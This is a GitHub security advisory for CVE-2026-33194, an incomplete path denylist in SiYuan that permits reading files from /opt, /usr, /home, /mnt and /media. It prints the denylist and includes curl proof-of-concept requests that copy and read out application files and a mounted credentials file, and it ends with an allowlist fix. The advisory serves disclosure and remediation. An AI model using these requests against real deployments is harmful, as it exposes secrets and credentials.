GitHub Advisoryadvisory · Go
GHSA-vm69-h85x-8p85 SiYuan has an Incomplete Fix for IsSensitivePath Denylist Allows File Read from /opt, /usr, /home (GHSA-h5vh-m7fg-w5h6 Bypass)
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- Aliases
- CVE-2026-33194
- Ecosystem
- Go
- Packages
- github.com/siyuan-note/siyuan/kernel
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
- Weaknesses
- CWE-22
- Reviewed
- 2026-03-18
Affected packages
• Go github.com/siyuan-note/siyuan/kernel: < 3.6.2 → fixed in 3.6.2
Description
Summary
The `IsSensitivePath()` function in `kernel/util/path.go` uses a denylist approach that was recently expanded (GHSA-h5vh-m7fg-w5h6, commit 9914fd1) but remains incomplete. Multiple security-relevant Linux directories are not blocked, including `/opt` (application data), `/usr` (local configs/binaries), `/home` (other users), `/mnt` and `/media` (mounted volumes). The `globalCopyFiles` and `importStdMd` endpoints rely on `IsSensitivePath` as their primary defense against reading files outside the workspace.
Details
Current denylist in `kernel/util/path.go:391-405`:
```go
prefixes := []string{
"/.", // dotfiles
"/etc", // system config
"/root", // root home
"/var", // variable data
"/proc", // process info
"/sys", // sysfs
"/run", // runtime data
"/bin", // binaries
"/boot", // boot files
"/dev", // devices
"/lib", // libraries
"/srv", // service data
"/tmp", // temp files
}
```
NOT blocked:
• `/opt` — commonly contains application data, databases, credentials. In SiYuan Docker, `/opt/siyuan/` contains the application itself.
• `/usr` — contains `/usr/local/etc`, `/usr/local/share`, custom configs
• `/home` — other users' home directories (only `~/.ssh` and `~/.config` of the current HomeDir are blocked via separate checks, but other users' homes are accessible)
• `/mnt`, `/media` — mounted volumes, network shares, often containing secrets
• `/snap` — snap package data
• `/sbin`, `/lib64` — system binaries/libraries
The `globalCopyFiles` endpoint at `kernel/api/file.go:82` uses `IsSensitivePath` as its sole path validation:
```go
if util.IsSensitivePath(absSrc) {
// reject
continue
}
// File is copied into workspace — then readable via /api/file/getFile
```
PoC
```bash
Read SiYuan's own application files from /opt (Docker deployment)
curl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \
-H 'Authorization: Token YOUR_API_TOKEN' \
-H 'Content-Type: application/json' \
-d '{"srcs":["/opt/siyuan/kernel/SiYuan-Kernel"],"destDir":"data/assets"}'
Then read the copied file from workspace
curl -s 'http://127.0.0.1:6806/api/file/getFile' \
-H 'Authorization: Token YOUR_API_TOKEN' \
-H 'Content-Type: application/json' \
-d '{"path":"data/assets/SiYuan-Kernel"}'
Read files from mounted volumes
curl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \
-H 'Authorization: Token YOUR_API_TOKEN' \
-H 'Content-Type: application/json' \
-d '{"srcs":["/mnt/secrets/credentials.json"],"destDir":"data/assets"}'
```
Impact
• Read arbitrary files from `/opt`, `/usr`, `/home`, `/mnt`, `/media` and any other non-denylisted path
• In Docker deployments: read application source code, configs, mounted secrets
• The denylist approach is fundamentally flawed — any newly added filesystem path is accessible until explicitly blocked
Recommended Fix
Switch from a denylist to an allowlist approach. Only permit copying from the workspace directory and explicitly approved external paths:
```go
func IsSensitivePath(p string) bool {
absPath := filepath.Clean(p)
// Allowlist: only workspace and configured safe directories
if strings.HasPrefix(absPath, WorkspaceDir) {
// Block workspace-internal sensitive paths (conf/)
if strings.HasPrefix(absPath, filepath.Join(WorkspaceDir, "conf")) {
return true
}
return false
}
// Everything outside workspace is sensitive by default
return true
}
```
Related
Alias · CVE (1)
- CVE-2026-33194 SiYuan is a personal knowledge management system. vulnerability
Weakness · CWE (1)
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness